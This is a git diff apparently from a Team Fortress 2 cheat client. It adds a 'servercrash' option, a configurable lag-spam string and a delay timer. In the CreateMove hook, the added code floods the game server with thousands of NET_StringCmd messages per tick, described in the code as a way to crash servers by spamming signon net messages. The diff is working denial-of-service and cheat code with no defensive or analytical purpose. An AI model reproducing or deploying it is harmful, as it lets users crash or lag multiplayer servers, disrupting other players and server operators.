diff --git a/include/MiscTemporary.hpp b/include/MiscTemporary.hpp index 6d59bf1c..8cdd08e5 100644 --- a/include/MiscTemporary.hpp +++ b/include/MiscTemporary.hpp @@ -20,9 +20,14 @@ extern CatVar joinclass; extern CatVar jointeam; extern CatVar fakelag_amount; extern CatVar serverlag_amount; +extern CatVar serverlag_string; +extern CatVar servercrash; extern CatVar debug_projectiles; extern CatVar semiauto; extern CatVar engine_pred; +extern Timer DelayTimer; +extern CatVar delay; #if ENABLE_VISUALS extern int spectator_target; +extern CLC_VoiceData *voicecrash; #endif diff --git a/src/MiscTemporary.cpp b/src/MiscTemporary.cpp index a35c843c..6218f589 100644 --- a/src/MiscTemporary.cpp +++ b/src/MiscTemporary.cpp @@ -22,6 +22,9 @@ CatVar fakelag_amount(CV_INT, "fakelag", "0", "Bad Fakelag"); CatVar serverlag_amount( CV_INT, "serverlag", "0", "serverlag", "Lag the server by spamming this many voicecommands per tick"); +CatVar serverlag_string(CV_STRING, "serverlag_string", "voicemenu 0 0", "serverlag string", "String to spam with serverlag"); +CatVar servercrash(CV_SWITCH, "servercrash", "0", "crash servers", + "Crash servers by spamming signon net messages"); CatVar semiauto(CV_INT, "semiauto", "0", "Semiauto"); bool *bSendPackets; @@ -30,3 +33,6 @@ CatVar crypt_chat( "Start message with !! and it will be only visible to cathook users"); int spectator_target; +CLC_VoiceData *voicecrash{}; +Timer DelayTimer{}; +CatVar delay(CV_INT, "delay", "0", "Delay", "Delay actions like chat spam and serverlag/crash by this many seconds."); diff --git a/src/hacks/Spam.cpp b/src/hacks/Spam.cpp index 8350e9c6..f387d5ef 100644 --- a/src/hacks/Spam.cpp +++ b/src/hacks/Spam.cpp @@ -7,6 +7,7 @@ #include #include "common.hpp" +#include "MiscTemporary.hpp" namespace hacks { @@ -269,7 +270,8 @@ bool FormatSpamMessage(std::string &message) void CreateMove() { - + if (!DelayTimer.check((int)delay * 1000)) + return; IF_GAME(IsTF2()) { // Spam changes the tournament name in casual and compeditive gamemodes diff --git a/src/hooks/CreateMove.cpp b/src/hooks/CreateMove.cpp index 73ec0fd3..ed00b1cc 100644 --- a/src/hooks/CreateMove.cpp +++ b/src/hooks/CreateMove.cpp @@ -477,25 +477,30 @@ DEFINE_HOOKED_METHOD(CreateMove, bool, void *this_, float input_sample_time, if (cmd) g_Settings.last_angles = cmd->viewangles; } + NET_StringCmd senddata(serverlag_string.GetString()); + INetChannel *ch = (INetChannel *) g_IEngine->GetNetChannelInfo(); + senddata.SetNetChannel(ch); + senddata.SetReliable(false); + if (servercrash && DelayTimer.check((int)delay * 1000)) { + for (int i = 0; i < 7800; i+= sizeof(serverlag_string.GetString())) + ch->SendNetMsg(senddata); + ch->Transmit(); + } if (serverlag_amount || votelogger::antikick_ticks) { - NET_StringCmd senddata("voicemenu 0 0"); - INetChannel *ch2 = (INetChannel *) g_IEngine->GetNetChannelInfo(); - senddata.SetNetChannel(ch2); - senddata.SetReliable(false); if (votelogger::antikick_ticks) votelogger::antikick_ticks--; if (votelogger::antikick_ticks) { - for (int i = 0; i < (int) 500; i++) - ch2->SendNetMsg(senddata, false); - ch2->Transmit(); + for (int i = 0; i < 7800; i+= sizeof(serverlag_string.GetString())) + ch->SendNetMsg(senddata, false); + ch->Transmit(); } - else if (!votelogger::antikick_ticks) + else if (!votelogger::antikick_ticks && DelayTimer.check((int)delay * 1000)) { for (int i = 0; i < (int) serverlag_amount; i++) - ch2->SendNetMsg(senddata, false); - ch2->Transmit(); + ch->SendNetMsg(senddata, false); + ch->Transmit(); } } diff --git a/src/hooks/LevelInit.cpp b/src/hooks/LevelInit.cpp index 6232c2e3..d5bd6f73 100644 --- a/src/hooks/LevelInit.cpp +++ b/src/hooks/LevelInit.cpp @@ -5,6 +5,7 @@ #include #include "HookedMethods.hpp" +#include "MiscTemporary.hpp" const char *skynum[] = { "sky_tf2_04", "sky_upward", @@ -80,6 +81,7 @@ namespace hooked_methods DEFINE_HOOKED_METHOD(LevelInit, void, void *this_, const char *name) { + DelayTimer.update(); playerlist::Save(); votelogger::antikick_ticks = 0; hacks::shared::lagexploit::bcalled = false; diff --git a/src/hooks/visual/FrameStageNotify.cpp b/src/hooks/visual/FrameStageNotify.cpp index 376e52db..7800bcdf 100644 --- a/src/hooks/visual/FrameStageNotify.cpp +++ b/src/hooks/visual/FrameStageNotify.cpp @@ -9,8 +9,6 @@ static CatVar resolver(CV_SWITCH, "resolver", "0", "Resolve angles"); static CatVar nightmode(CV_SWITCH, "nightmode", "0", "Enable nightmode", ""); -static CatVar servercrash(CV_SWITCH, "servercrash", "0", "crash servers", - "Crash servers by spamming signon net messages"); namespace hooked_methods {